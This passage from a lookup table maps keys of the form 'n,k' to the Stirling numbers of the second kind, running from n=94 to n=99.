'94,48':1320298887137759063803236123287427475627311142919420656758135715541654350175396604167916482400,
'94,49':96237729824992625153597367067847321277194029389386512502370684727426460121446758734989307000,
'94,50':6415697503972529212466696134245586854330498453464883809566992322395211728510681171692481960,
'94,51':391723730197208901689987735382894584133345853876614069817832884459456577810163348460437456,
'94,52':21933751671817855745567064856349626936525503910009303698808947243420667709420963165070792,
'94,53':1127593075248760030123730951581764028040948793519109095331853806107462265246004461218936,
'94,54':53279436093505819713797771017535855469490408302487844329351425948268735719851790791256,
'94,55':2316058439659650287824685973621700626936979893306010095715371807930219175566614670000,
'94,56':92702629697715207552132150779782542722487271547451165212138539863657687848125348260,
'94,57':3419112302758830148214273293756360956792440626785443729512788277815620937894921180,
'94,58':116277730845970888873598794977814530476725215189103901286845484856459416524200710,
'94,59':3648230001471183646233362761815395223850158378474401968034584705088936949741750,
'94,60':105649810271046418286805866020616612686979480343369024212834076347034686589825,
'94,61':2824959082879363253280625568645846622552810927592501504394175640456362380745,
'94,62':69763132681887708994068933505288208597917517483028619188336991870174836195,
'94,63':1591403429516204182728585913964965807747034464943001147894379260778252800,
'94,64':33535200582529437952402885188321564656990347503220771637761356310342800,
'94,65':652781595553002144665954073970283062395666876225323198254885161557715,
'94,66':11735829598046951207306152464120729474493913663793840220046360923005,
'94,67':194814501475299747808339379746681830241237644591728381759595840270,
'94,68':2984835457093956038295926406517774916608139548009651404957483435,
'94,69':42187623999062239784045063792839829312092141208187719232478785,
'94,70':549704072237659865470511521880653308720216813779487584976207,
'94,71':6597819306046480184013891442853736763854982296290100564768,
'94,72':72874647680918405913474872209076717294438263422761832456,
'94,73':739870115019074549269280141269119381523120682822820978,
'94,74':6895224633832900032076806154643596813077175636310628,
'94,75':58893603215168853964511018537217117212777130933750,
'94,76':460167955695818350226199789820394710366106455701,
'94,77':3282221499145665753256062438679628790830937993,
'94,78':21318203949458627745001800541342852591099851,
'94,79':125724830341562444134844657108956222171200,
'94,80':671016366475613902315558400339832141960,
'94,81':3228480272412602011504620155376541494,
'94,82':13939046320295887320098204555625154,
'94,83':53714521628390219979968991093780,
'94,84':183557465282158799243519928730,
'94,85':551934867485004309420939110,
'94,86':1446391469512996392091706,
'94,87':3264199440565311534000,
'94,88':6247708409845276660,
'94,89':9939339486793080,
'94,90':12783258132918,
'94,91':12765211186,
'94,92':9282547,
'94,93':4371,
'94,94':1,
'95,1':1,
'95,2':19807040628566084398385987583,
'95,3':353482524507552333441560969352723058885691101,
'95,4':65386476409924442098781920815068110550763770621755007950,
'95,5':21036290740507171734211578379838602472862107129372800576278586720,
'95,6':116690691037195828397221352769397624252064433073948453082241635064452193,
'95,7':38184045398138482862645512890075533415240101583829528298307551120282252945853,
'95,8':1541762524011914505285714716387088796441592775226870350461628574937381096031567840,
'95,9':12394281148168901298543548068507628525006547696376429178823685767663086419645495404990,
'95,10':27544924171950095732873054317397334800081030480026227414017477122701069496824252176947950,
'95,11':21408726452303580072340821615992103441758079934130123346130181242157207068463124858935925378,
'95,12':6926923082881833734954263488080537906972932633736855969394628522712648818832585457525502334670,
'95,13':1065416310352353100456103655824367666504793311273116061203586390156459962252196160781421884170950,
'95,14':86380154873100771710760415364915632353146388651684786914721511541599937929529354606731820822656605,
'95,15':4007294892358709727723295295444338540878248386154540514417748402520651636989417231341967047251248981,
'95,16':113649959338428636362188917322812977792774362003409029299866230557178040153453334517913984008476626240,
'95,17':2080062357278218746399452832358576040184837763993455585625263650845062569465363476530863336352989851730,
'95,18':25694604515108243381111405458460789837039281584121896304330674805090504089832013887257510524447100699990,
'95,19':222417240121236908929208465442005388130730881679145889839567421023534882738363979052623378897132175030290,
'95,20':1392648574857486779916401969685658482995313268197126246210626862957683899697273447976260170928520648742500,
'95,21':6480711436710074881805285362342180859729069075390910014285138333703704312818638626966901406112124448209640,
'95,22':22941803140641405016855320949271883649172667887554039501143203134628513158457925284118358646735854371591070,
'95,23':63040594978832390328980070541845829706374173353252516650563654348664701865833867010583687214766709501979190,
'95,24':136850111374159449930363504784821045725898494635357608496822522757745638907697067388885484531249674586290000,
'95,25':238347382149830290642374512629692153165866236161113423501250621276842060959431236951045800536457105954125300,
'95,26':337626119460984893995181818773804826204047563011285311738227579062492734846104121181630637111896305138061884,
'95,27':393707295500896844674834860067777182432621102660602927115594412495466864142742406957133327250950188356820724,
'95,28':382034783310452414623226187559817686619252023175435803904927491888178592413485129914151783029382220305690870,
'95,29':311468221199094605055676336572673579165459115794777939380341124174246347963846708096252668551421691810838970,
'95,30':215214203142396439291373315859500609368132685044188163883949422008931268851439838791455810082770903276124825,
'95,31':127019501533462844723231014979978450512358182412070738161713392918339572259601129353179526694247007440253513,
'95,32':64488986271533040712883934976668796405878103077543773538755482406696458330477285164973885514689704545118720,
'95,33':28346953746588055192241080123079775650893617363389143746800151831985360536510742921037458704990723886648100,
'95,34':10851077288775763434709258410025515677967538842470710249496676313788055225298027644913944639658943241366780,
'95,35':3636663211807520204812540901127552729721319374225693049018437242726945705841009717062073594887279347843764,
'95,36':1072303497962229739582339295186237836075159186524168951394054142641384047264571277906443921113733753121880,
'95,37':279422130820537706615579813856299714540890803961111052416532638490305094443039478760011673407553213259360,
'95,38':64612678860807421582891002703520226321929438037427349341451594554252800606178652413822453938951442238580,
'95,39':13308558935874940733680621759209487751067842940933202493884339856914484883039586415363409671815826167780,
'95,40':2450268934205971525715775483300624568171412062457666891446322043351133313784497405875770740542925920000,
'95,41':404540033306391957687417953180786834422715737212020134406344604602018767384956394170822899249851135640,
'95,42':60070708697662422035433282642717740174622759513851110857974637320629317898287651295047936841654514520,
'95,43':8044664723164435956235388008236568486862956399276010860419516791324663392049013179048808709630683240,
'95,44':974086469948687204064971750502599280290020156498176664443654894864472177233953036481026962747677000,
'95,45':106892908403364928231459486079800317507971474997856070131960762954820951723795372263779918270769800,
'95,46':10653756916854098055291058486710172513178510046006261158192972855854777913466123649332136128139980,
'95,47':966336934521429766265483147105399674322400218029094529947682071708072030259139024307698792327980,
'95,48':79915169336595659692334406441208897975530913391601423796324908186221509852347140115581157830400,
'95,49':6035947648562397696329507109611946218209818582999359769374299267185550896126287782182392525400,
'95,50':417022605023619085776932173780126663993718952062630702980720300847187046546980817319613405000,
'95,51':26393607744030183198656070638773210645131137001172201370276469429827497196829011943174792216,
'95,52':1532278817131737400459475107913075184832672057197097862155898141117331298700053433044118640,
'95,53':81696184660002137342124805290183120422695789966522085751397198967116167767459199609674400,
'95,54':4004682624298074294668810586528700223393430841853452689116830807313973994118001163946760,
'95,55':180662650274786585544155499566729389951024302434318399593696875384430790376015597641256,
'95,56':7507405702731701910744086417289523019396267099963275347595130040295049695061634172560,
'95,57':287592030954968526000345728523895117259656387274221457794367471699148081308135855520,
'95,58':10163220691825141702883003402469603724442503107753470004149826399490267096298562360,
'95,59':331523300932770724001367197924922848683884559519093617400885982456706696558963960,
'95,60':9987218617733968743441714723052391985068927199076543420804629285911018145131250,
'95,61':277972314326687576736924025708013256662700946926511615980878790414872791815270,
'95,62':7150273309156401210912899445973715555623697011540275894071069136407202224835,
'95,63':170021548741408572505969846085081054485980688774437691505682885299204762595,
'95,64':3737656266798088211682370566017545945794416705149130532711106064640192000,
'95,65':75966004293474577355689899996389963712708694457866779524328891811594275,
'95,66':1427346349024100924348160136602251207712265178035716652777944982476045,
'95,67':24788401196892034310464890907148412100656835851439641797939282221095,
'95,68':397783312557688758412462375389890524570591133856384677296704713850,
'95,69':5895781513029250583395035808223723139142497291374604031998519600,
'95,70':80666909055698430366980870324485560922507318172751850180813275,
'95,71':1018149242966959958535497814323268618953920556816084725074735,
'95,72':11844793939072605409784082241907260409054537262728952501600,
'95,73':126885166077310848010132322521722432145626073268827763850,
'95,74':1250116737922709151642963796712745545690831679909807450,
'95,75':11312244874970564079415132544934880604035460456341878,
'95,76':93866367848051048581702202563567115200601221567026,
'95,77':712899011130034613226916597598726127260088681162,
'95,78':4945041407203438717366202880904371292936726371,
'95,79':31250465546442060831654528452950394142624651,
'95,80':179406139659611556320089329136142793528000,
'95,81':932523268541034665247432632925332002974,
'95,82':4371482070676864771752672928937804122,
'95,83':18397351615452275578435630816408894,
'95,84':69133348712091559116424665107100,
'95,85':230471929018384165544299753080,
'95,86':676324533863121999140825826,
'95,87':1730376820842178495549706,
'95,88':3813997780631695880080,
'95,89':7132309624169860780,
'95,90':11089832718755700,
'95,91':13944892350844,
'95,92':13619205510,
'95,93':9689050,
'95,94':4465,
'95,95':1,
'96,1':1,
'96,2':39614081257132168796771975167,
'96,3':1060447573522657020131723536624253575043060886,
'96,4':261545905640051250919635235593714003172407805545905722901,
'96,5':105181453767922335080982333997974933179378646197627773503147941550,
'96,6':700144167259465710890499850827964125350989071305797847866250386665299878,
'96,7':267288434477660417234346987451881503304304963151239772036605940083610835073164,
'96,8':12334138376140714180768580376609600447066157441916546633221326907050169050505488573,
'96,9':111550072096044123601397218331285043813855370860163089479763633537542715157905490212750,
'96,10':275461636000649126230029086722041855629335311347958650569353594912778358054662167264884490,
'96,11':235523535899511330891481910830230535194138960305911383034846011140851978822591197700472127108,
'96,12':83144485721034308399523502678582446987116949684776401756081672453793943033059488615164963941418,
'96,13':13857338957663472139664301789204860202469285979184245651616017700556692158097382675616009996557020,
'96,14':1210387584533763157051101918764643220610554234434860132867304747972555590975663160655026913401363420,
'96,15':60195803540253746687560189847029993745526872180969792503180947549351374492770787824736237529591391320,
'96,16':1822406644307216891522745972460451983225268040440699009312277437317369294092242769517965711182877268821,
'96,17':35474710033068147325152887067418605660935016349892153984929348294923241721064632435542590702009304105650,
'96,18':464582943629226599606404751084652793106891906278187589063577410142474136186441613447166052776400802451550,
'96,19':4251622166818609513036072248856563164320926033487893803256111674252253276118747615887101709569958426275500,
'96,20':28075388737270972507257247859155175048036996245621670814052104680177212876683832938577826797467545149880290,
'96,21':137487588745769059297827394578871456537305763851406236546198531870735474468888684614281189699283134061144940,
'96,22':511200380530820985252622346246323621141527762601579779039435607295530993798892994877570791634300920623213180,
'96,23':1472875487653786382583396943411725966895778655012361922464107253153916656072636866527543164586370172917112440,
'96,24':3347443267958659188657704185377550927127938044601835120574304200534560035650563484343835315964758899572939190,
'96,25':6095534665119916715989726320527124874872554398663193196028088054678797162893477991165030497942677323439422500,
'96,26':9016626488135437534517101800748617634471102874454531528695167676901653166958138387673442365445761039543734284,
'96,27':10967723097985199700215723040603788751884817334847564343859276716440098066700149109024230472887551390772221432,
'96,28':11090681228193564454125168111742672407771677751572805436453564185364467451720326044553383252073652356916165084,
'96,29':9414613198084195961237839948167351482417566381223996045934820092941322683365039664705479171020611282820021000,
'96,30':6767894315470987783796875812357691860209439667120422855898823784442184413507041871839926971034548790094583720,
'96,31':4152818750679744625711534780238832575251236339818381046897064602477458008899074848740021137604428133923983728,
'96,32':2190667062222520147535516934233379935500457480893471491401888829932626238834874254632343863164317552884052553,
'96,33':999938459908938862056839579038301392885367476069385517183160492862213356035331801559210022779383592804506020,
'96,34':397283581564964011972355866063947308701789938007393292229687146500779238196643682848111576453394794093118620,
'96,35':138134289702038970603148189949489861218213716940369966965141979809231154929733367742086520460713720415898520,
'96,36':42239589138447790829776755527832114828427050089095775299204386377816771407365575721694054754981694460231444,
'96,37':11410922338322124884358792407869327274088118933085277890805761766782672541657031992026875837193202643718200,
'96,38':2734703927531219726765437916590068314774209449383350327391693231551911517477828270485264923087708018325400,
'96,39':583646477359930110196435251312690248613575312733822246602940848973917711044722522612995431139768662782000,
'96,40':111319316304113801762311641091234470477924325439239878151737221590959817434419482650394239293532862967780,
'96,41':19036410299768041790899911563712884779502757288150492402106450832033902776567709566879509609786822481240,
'96,42':2927509798608213683175615824174931921756871636793766790441279372068450119113037748562836246599340745480,
'96,43':405991291793733168153554966996890185109729884682719577856013859347589843756395217994146711355773893840,
'96,44':50904469400906672935094145030350936819623843285195784095940332165361439190342946784213995070528471240,
'96,45':5784267348100108974480648624093613568148736531401699820381889227831415004804744788351123284932318000,
'96,46':596965726578653438774848176468468253114182937114144083408837514324140735743237060133058180165208880,
'96,47':56071592839361297069768766400663957206331320293373704065734030226134163335645657791793979367555040,
'96,48':4802265062678021431497534656283426777147884060825962872171277664646704503171801749855594368187180,
'96,49':375676604116153146812480254812194262667812023958570052495665572278313503762535241442518391575000,
'96,50':26887077899743351985176115798618279417895766186130894918410314309544903223475328648163062775400,
'96,51':1763096599969158428908391776357560406895406939122412972864820241768389403585260426421527808016,
'96,52':106072106234880528022548776250253120256430083975421290202383172767928724729231790461468961496,
'96,53':5862176604111850679592089788292780567235548925422768406979949686374488190375391012356861840,
'96,54':297949046372098149254240576962732932485941055426608530963706062562070763449831262462799440,
'96,55':13941128389411336499597363062698816670699767475740964666770158953457667464798859034215840,
'96,56':601077369627761892545824338934942679037215260032261819059024157640953573299467111304616,
'96,57':23900151467164907892763792943151544703196681174593898441874075927146490329625377937200,
'96,58':877058831080826744767559925867132133277321567523922718035057402869583572893452472400,
'96,59':29723095446858614418963668080040051796791692119379993430802099364435962193277436000,
'96,60':930756417996808848607870081308066367788020191463686222649163739611367785266838960,
'96,61':26943529791661910924394080291241200641493684961593751995638235501218258445862720,
'96,62':721289259494384451813523791358383621111370161642008721413285076872119329755040,
'96,63':17861630879865141278788999749333821988240480404329850458929090910257102268320,
'96,64':409231549816486218053641562310203995016823357903982045599193673436177050595,
'96,65':8675446545873935739802214065782893587120481844910471201792484032393819875,
'96,66':170170863329065238362668469012138543421718196208224078607673260655013245,
'96,67':3088169229215867223149307827381194818456273180082172653239876891289410,
'96,68':51837666450814869882512332433660967771457032953673799854115202762895,
'96,69':804592236956707048666719846157327421171423446961232355504602566250,
'96,70':11542465146928140709083696730937712403718009563467233544655448850,
'96,71':152955505306352587423001215141437632868235677706693865661119460,
'96,72':1870974406580187548039951735740591368405847239732569305189935,
'96,73':21107411062716297314523741785992997955685240611353379262650,
'96,74':219393804683591325231711643478465602526747617582153515150,
'96,75':2098535103545501457599098737582861590993491214135448300,
'96,76':18446088831422443771624499939765981359281153295435854,
'96,77':148759591705063713800174780578669026999628050016500,
'96,78':1098612240891902833181480422309267088109153338100,
'96,79':7413828185372361523066910628687452430204073800,
'96,80':45602956719210985337261674783841817624864651,
'96,81':254940524411435364205131372403094685768894,
'96,82':1290984798336537576531151813098231940978,
'96,83':5898462254759403644762830286699742324,
'96,84':24204552907267966544215302685405294,
'96,85':88723462678654213187690144118900,
'96,86':288635838930612657470410774116,
'96,87':826867317276391528253650248,
'96,88':2066008625537767732996746,
'96,89':4448773337182813489500,
'96,90':8130394568857873780,
'96,91':12358817922682504,
'96,92':15197859257764,
'96,93':14520287160,
'96,94':10108760,
'96,95':4560,
'96,96':1,
'97,1':1,
'97,2':79228162514264337593543950335,
'97,3':3181342720567971100009251867004929521901157825,
'97,4':1046183622561265451252063599394987736226255475758665952490,
'97,5':525907269101157581044962920909509901490607234160546673061645430651,
'97,6':4200865108738248033265334185950118750080867607213433284825275823139740818,
'97,7':1871019741487790180106139802663021351094260093047749710054089446835662510812026,
'97,8':98673374297560191106565877359864255458032563840295524305542651862341436014878981748,
'97,9':1003962983002773253126755733561942003925145403898909721864505923164791486590199917403323,
'97,10':2754727910078587306423892264438749841337166968850446668783015712761321123261779578139057650,
'97,11':2591034356530625288932531048219257928991157898676373172033875476144284545406557836872458282678,
'97,12':997969352188311212125173514053819594380597535177622732456014915456668168375536454579680039424124,
'97,13':180228550935346172124035446762341765079087834679079969872764311779690791998299034271623294919182678,
'97,14':16959283522430347670855091164494209948750228568067226105793882489316334965817381631845992797615644900,
'97,15':904147440688339963470453949624214549403513636948981747680581517988243172982537480531698589857272233220,
'97,16':29218702112455724011051495749214261725349815519232153941499619944627260079968655100112187616455627692456,
'97,17':604892477206465721419121826118576748219120545988607316753111198451012478552190994173742007645341047064871,
'97,18':8397967695359146940240438406591168881584989329357268757129322730859457693077013674484531540677223748233550,
'97,19':81245404113182807347291777479359352915204486542548169850929699220935286382442646315302098534605610901686050,
'97,20':565759396912238059658181029431960064125060850945921310084298205277796510809795406387443637658920861423881300,
'97,21':2915314752398421217761632534015455762331458037125152638284221273965622176723346209838482810482413360433924030,
'97,22':11383895960423830734855519011997991121650916541086161375413781892372417338044534571920838605653903387771834900,
'97,23':34387336596567907784670752044716020859744436827885903995713902429835614083469540925011063577120814897716799300,
'97,24':81811513918661606910368297392472948217966291725456404816247408065983357511686160490779590747740583762667653000,
'97,25':155735809895956577088400862198555672798941798011181665021276505567504489107987513263469597764531691985558501690,
'97,26':240527823356641292613434373139991183371121229134481012942102447654121779503805076070674531999532464351576513884,
'97,27':305145150133735829440341623897050913935361170915338768812895639020784300967862164331327665133409648590393712948,
'97,28':321506797487405004415720430169398616169491794378886116564559073906645186714869278356518961530949817384424843784,
'97,29':284114463972635247330022526608595865397881102807068690768563346880662825269306476321012279211671379558696774084,
'97,30':212451442662213829475144114318898107288700756394836681722899533626206855088576295819903288302057074985657532600,
'97,31':135505275586543071180854453999761501692997766201490235309707826461243382689378362182780582236771820941738079288,
'97,32':74254164741800389346848076675706990511265875728409468771757507160321497651615050996975024758862589826213665424,
'97,33':35188636239217502595411223042497325900717584191183193558446185094385666988000823706086274614883976115432751213,
'97,34':14507580233117715269116939025212509888746225368320757452992523473888707454721217018395003622194806591970539100,
'97,35':5231983721136327983082542514296092451339270030920342136009656439823869660737311553821139792578375008649566820,
'97,36':1658759498686159440475111388951445995041587520147817877736499889410634925594894093723072491640054720984230504,
'97,37':464443715656366411551052074618997223969687450613251057259017571748775655448675759426688460731130192277804844,
'97,38':115329671584508474501445433238291923235508078009652590331690104565755310205814506270466942914526107340083400,
'97,39':25496916544568494024426412717784988010703646646002417944906386341534702248222006652392086737538685866823400,
'97,40':5036419129524482180688900894962069067730548330303417372672429712612310408421501828628765002881083181493200,
'97,41':891812138594603515189208015203462746437537374253410066638101705704349831273695574892454133294792584698620,
'97,42':141991821841313016484275776179060025493291366033488697600640184458908807779315295006518631966959133791400,
'97,43':20385135345738739913778479405041209881475256678150708638249875324014813400638032122311144834897618180600,
'97,44':2645787945433626777297697348332331405173178989231334078077388474623493168131484876499562494459026628400,
'97,45':311196500065411576786723333114563547386316987198272276013125347417775114406556462260014542892482781240,
'97,46':33244690770718167158123664741643153211401151638652327657188414886741888848993649554471799572531926480,
'97,47':3232330590028634401053980197299674241811754990902708174498336934952446412518582976347375210440295760,
'97,48':286580315847906325781650429902268442509429755213019921929955358129175979487892141784862509040539680,
'97,49':23210418664369525625309067142080945647870673234795895444458890706284066187536028580538995555362180,
'97,50':1720030499103320746071286044743108233562600333265114798416181287755558664936301673850671530345000,
'97,51':116805004498170431859504096392853860169561520081373956534516146639732762806323610395660980984216,
'97,52':7278846124182945886080928141370722660229771305844320063388745225700683089505313530417913805808,
'97,53':416767466252808614040929535029770490319914177022828015772320506145776598819127514116382639016,
'97,54':21951425108205150739321080944280358921476365918459629079020077064726309416666279185348031600,
'97,55':1064711107789721656732095545411167849374428266592361587636064805002242474013768509344670640,
'97,56':47601461088566002482163526043055606696783822037547626534075511781351067569569017267274336,
'97,57':1963386003256161642433360536694580727119426086984114030245846485488303522088113653725016,
'97,58':74769563669852859089282268643445208433281332090981416087907405293582337557445621336400,
'97,59':2630721462445484995486416342589495189288031402567342330452381265371305342296821196400,
'97,60':85568480526667145335435872958524033864072903607201166789751923741118029309287773600,
'97,61':2574311735288185414995908979073779606919134974120905094383096105185681550464464880,
'97,62':71663463880313746936832555355460985150398634983398292723261910267289656890675200,
'97,63':1846572004925888352377230775566414406370520427114789300325817804218316772659200,
'97,64':44052450068120259234222059737186877669317175310184701377277486010172433506400,
'97,65':973135575298292041140785476586092078179654677823162673715705135541775342470,
'97,66':19906723525592241471738333020584037452953882794653260389898919235624694045,
'97,67':377078201686528342313672093446678596258288499273729646374745012371403715,
'97,68':6613130547871278375160146432870140626915351420931991043319710679166270,
'97,69':107354530800827656240516001818516559832285250793998832383932779834145,
'97,70':1612564797241676898302578617322967289431684116403938703630483985750,
'97,71':22402306023679174416116783005979784337362742680642498006594930510,
'97,72':287665662580126090881877740114760211393456678967438855634794780,
'97,73':3411815414158477252000184886118080219170869804361365991363385,
'97,74':37342552609302055381670403403399452542664564312432739383750,
'97,75':376783937449503934551644048797180221851259458642312137650,
'97,76':3500437854733607184242560733005076174298858864588573204,
'97,77':29900577392712349734237958044323496438252513146706354,
'97,78':234451346494632134788330253518791859872142010388300,
'97,79':1684304667536319393503766361975575830095275168300,
'97,80':11062064722909240350047844611394797840193245880,
'97,81':66253139196537249837877315948492487172145065,
'97,82':360801277875031445480685821077149704929090,
'97,83':1780557165481568079046466726894310553870,
'97,84':7931644698969912834476915712273787020,
'97,85':31746047234953574665168964935511794,
'97,86':113546144826686901730145470692876,
'97,87':360573295533658720428478345692,
'97,88':1008676076323715088757363896,
'97,89':2461949452547038133562246,
'97,90':5180508848380022129700,
'97,91':9255046999821981644,
'97,92':13757020974396792,
'97,93':16548245963644,
'97,94':15470510600,
'97,95':10541960,
'97,96':4656,
'97,97':1,
'98,1':1,
'98,2':158456325028528675187087900671,
'98,3':9544028161703913379255918115279126159247423810,
'98,4':4184734490248243147728822368679960196772026832556564967785,
'98,5':2629536346551971527786080055799613106848023907028988841066893105745,
'98,6':25205191178336757300749586160663633409995107133887833869498328000483875559,
'98,7':13097142391279639998991011883975335407778570732201855183811910953125460715425000,
'98,8':789388865400223016642707125018716706685611604982457242194051268988178323781542666010,
'98,9':9035765520399256838331908167934837899581766667654027792304858851134985720747814135611655,
'98,10':27548283063768875837492049400121060355375594833908365597552021633536376024104385981307979823,
'98,11':28504132649746956765564265422676275968744074052408955339041413253299891320595397985175180167108,
'98,12':11978223260616265170791014699694054390496161580030149162644212860956162305051844012793032931372166,
'98,13':2343969131511688548824585981424496765622522448363217231078392068051436964146262981985682513988798938,
'98,14':237610197864960213564095311749681281047582287787620245450987119162208380313441641880115522461538211278,
'98,15':13579170893847529799727664335527712451001454782802793441314516652312963929703879589607324840656699143200,
'98,16':468403381239979924140294385937052402155000561944663444811674500632024404452481019082326700453147315312516,
'98,17':10312390814622372988136122539765018981450399097325556538744389993611839395467215556053726317587253427795263,
'98,18':151768310993671110645747013144759616616748928474419444945080920353921250953938437134895309739835368515268771,
'98,19':1552060645845832486538784210514418874270470233637772495924793607928629898959487293665224403698183830880268500,
'98,20':11396433342357944000510912366118560635416421505460974371536893804776865502578350774064174851713022839379312050,
'98,21':61787369197279083632652464243756531073085679630574126714052944958555862222000065812995582657789601430536285930,
'98,22':253361025881722697384583050797971260438651621941020702897387422906158803613703106792096932134868287891414291830,
'98,23':802292637681485709782282816040466470895772963582461953276833537778591541257843975847175300879432646035258218800,
'98,24':1997863670644446473633509889464066778090935438238839619585651696013436194363937392703721241522894825201740471300,
'98,25':3975206761317576034120389852356364768191511242004998030348160047253595585211373992077519534861032883401630195250,
'98,26':6409459217168630185037694563838326440448093755507688001515940144574670756206919491101007429752375765126547862674,
'98,27':8479446876967508687502658218360365859625872843848627770890284701215297905636083513016521490601592976292206763480,
'98,28':9307335479781075953080513668640212166681131413524150032620549708406849528984201958313858588000004535354289338900,
'98,29':8560826252693827176986373701818678712708043775783878148852896133445867119524757091665875058669419824586631292220,
'98,30':6657657743839050131584345956175539084058903794652169142455549355666868477926595350918110928273383629128422752084,
'98,31':4413114985845049036081632188311504659771631508641033976323842153924751718459305523486101337641983524179537990528,
'98,32':2511638547324155530279992907622385198053505789510593236005948055591531307541059994085981374520374695380575372856,
'98,33':1235479160635977974995418437078118745234946154037454856200481615275048508255642233297822087050033801635494455453,
'98,34':528446364165219821745387149899722662118089246714088946960191983206601720448522202331516397769507400242431080613,
'98,35':197627010472889194677005927025575745685620676450532732213330498867724145580527121402134896362437931894705377800,
'98,36':64947325673838067840186552516548148272836420756241785734523652458606726982153498927851749491620344964081864964,
'98,37':18843176977971716667864038149854343281920023192838106996320150044115334177195897192510545538691871835263009732,
'98,38':4846971235867688442605978537674090306918994414980049489863241545247477443269626997704432291483122271200974044,
'98,39':1109709416822679741454075529231906455652950297203746890183039171885608697886472765713758325678534856146196000,
'98,40':226953681725547781251982448516267750719925579858139112851803574846027118585082079797542686852782013126551400,
'98,41':41600716811903226303446429518304041671669580674693230104834599646490653490643020399219384467967579154136620,
'98,42':6855468655929750207528790614723983817155774747659935365864989452978519758004937965166236675907076203937420,
'98,43':1018552641708078832776750390595832050396727403193969169045384823391545784006750676265897859867556715557200,
'98,44':136799804944818318114877162731663791709095132204329408073654968207448512798423366688291894591094789830200,
'98,45':16649630448377147732700247338487691037557443413153586498668029108423373316426525678200216924620751784200,
'98,46':1840452275518447266060411911230148595110769962576279348243792432207902001460264341765717323228951399320,
'98,47':185164228502063984007660734014727842576553636211079611858610250829506870237367049442798434463225827200,
'98,48':16988185750728138038573200832608559482264383241127664427136194125152893427937405782020775644386200400,
'98,49':1423890830402013081421794719864234779255092743718018798708441002737095222677157542231273291253286500,
'98,50':109211943619535562928873369379236357326000689898051635365267955094061999434351112273072572072612180,
'98,51':7677085728510012770905994960778655102210237857415186581676504766381929568058805804029381560540016,
'98,52':495305002955683617935712359744131438501509627985278599830730898376168283460599913977392498886232,
'98,53':29367521835581802430250193497948558647185222688054204899321732051426842826919071778586193673656,
'98,54':1602144422095886753964267906020909872079637936619647986039404667640997307319106590125176345416,
'98,55':80510536036639841859586335941894590637069920581039516399003641339849645487423547199304916800,
'98,56':3730392928749417795733253003822281824394322300695028673544293464757902257909633476312033456,
'98,57':159514463274167216100865076634646708142591108995642126258088761454184368328591495529600248,
'98,58':6300020696107627469611732118014402816249743348261036163344475992516079100419959691236216,
'98,59':229982129954136473822980832856225424601275184842454613584597899950489352752958071924000,
'98,60':7764830294045513715612568720100937221132405618999412337837496689838387100854087612400,
'98,61':242601496379246455650186320682024589886140137028576377547120786157444603887620131280,
'98,62':7017446495867637725079527411112360686243850343091599243225334541757640277686327280,
'98,63':187997500190644713136598094216145092751741421891630018643788431933043613568204800,
'98,64':4665928809285584943367442598746374577206819646966610188471576908869352517068800,
'98,65':107306262462509241908373115715282862750994729368690275168798319820387830766950,
'98,66':2286979327987379978275515455944638550074610942270277859449033805093005149440,
'98,67':45170963038589640406754363281511503402259212245993146697006835064508742950,
'98,68':826771078941775271824562050881848158888532395897105037320485338554710075,
'98,69':14020593173128386655755750558347783255343033725717910477811072487722275,
'98,70':220234066607745039121696505031124270092503138942274541638066658836645,
'98,71':3203128524922898281846870210747531977384438846729556062098724051960,
'98,72':43114233729448252959611980294242519557691623566298095612300154670,
'98,73':536728187813694930277891236801380067392930174685818573004321885,
'98,74':6175164307246829350243794737969639707328047563481388705760885,
'98,75':65601347918014850473043707063187969181509023710606149707500,
'98,76':642817214409258080554078664505566011097972732351043701154,
'98,77':5802782313972458113778883502417985400044302376884962462,
'98,78':48187782419293656247727717818789261508279589956993754,
'98,79':367511415230001366875127796114862350449668748684000,
'98,80':2569269845369058621507593930887159657310734838700,
'98,81':16428568997828757586915907203222689301136996145,
'98,82':95838843982289828367293553276818762976330445,
'98,83':508587522610001596041542559409377480900300,
'98,84':2446815320195040757142527646725308663550,
'98,85':10630058713940966681016277731792289510,
'98,86':41511015690048648213961475415099130,
'98,87':144916021538115210407423086768080,
'98,88':449336790250145648239126368540,
'98,89':1227789577600401482644403790,
'98,90':2928195248901240125235246,
'98,91':6022718125363822459304,
'98,92':10520692929466486508,
'98,93':15296007849015684,
'98,94':18002473960044,
'98,95':16471996800,
'98,96':10988936,
'98,97':4753,
'98,98':1,
'99,1':1,
'99,2':316912650057057350374175801343,
'99,3':28632084485111740296224079374366053664830172101,
'99,4':16738937961002516619076993388099096705203386456385507294950,
'99,5':13147681736944592129178643426726887902920079731916971037891030496510,
'99,6':151231149699556890356469044750061856259583749651350910245978809069796359099,
'99,7':91680021944148658329694383937413508518083405120520120174517246170206225491850559,
'99,8':6315124020344175412781655991161617628820300618430390139407593963816379715713056753080,
'99,9':81322679072458711768003816218538559812942585620491232587985923711483859665054108763170905,
'99,10':275491866403209157631758825909378538391655530105751310003312521194214895226764607627215409885,
'99,11':313573007430280293297044411698839156716540190171332417095053097807932340902573482222908289818011,
'99,12':143767183260044929006257740661751328961922683034414198907069595744727247551942723551501570356633100,
'99,13':30483576932912567399890408773218152007483287990301854153181741097529636696206470609826665714785758360,
'99,14':3328886739240954678446158950476962431431774551475046653544898060338968761352329249303602996975523756830,
'99,15':203925173605577907209479060344665368046069404029829521865168736903856667325871635485989988132312025359278,
'99,16':7508033270733526316044437839328366146931010445897417910428106526764703435169400184906834532091013744143456,
'99,17':175779047229820320722454377561942375086811785216479124603466304392033294127395145471995674099436455587831987,
'99,18':2742141988700702364611582359145438118082931111636875565550200956364194356566359083984169301634623886702633141,
'99,19':29640920582064488354882647012918718227755683367592096867516159470997889331184197016774158980005328155240370271,
'99,20':229480727493004712496757031532885631582598900342857259926662669703465939950526502774948721437958640618466509500,
'99,21':1308931186485218700286212661485005713170215693747517635366648737934449972164579732846971410665294652880641316580,
'99,22':5635729938595178426093479581799124260723421362333029590456576248894049541723468415239128089624891935041650706190,
'99,23':18706091692555894022377087819728700091041429784337645628264558791813764252544114551277128852361819146702353324230,
'99,24':48751020733148201076986520163178069145078223481314612823332474242101060205992341400736485097428908450877029530000,
'99,25':101378032703583847326643256198373185982878716488363790378289652877353325824648287194641709613048716910242495352550,
'99,26':170621146407701960845100448512152852219841948885204886069762603806195035246591280760703712708422802776691874624774,
'99,27':235354524895291364747609466459568204650346660539420637815553627077387714208381174342547087675995386125016130476634,
'99,28':269084840310837635373757040940286306526697552422524828684265676536607084717193738345804561954601719966212308252680,
'99,29':257571296807902064085685351021381894835214400911256616349354537578336995995202157616624235289413179448366596813280,
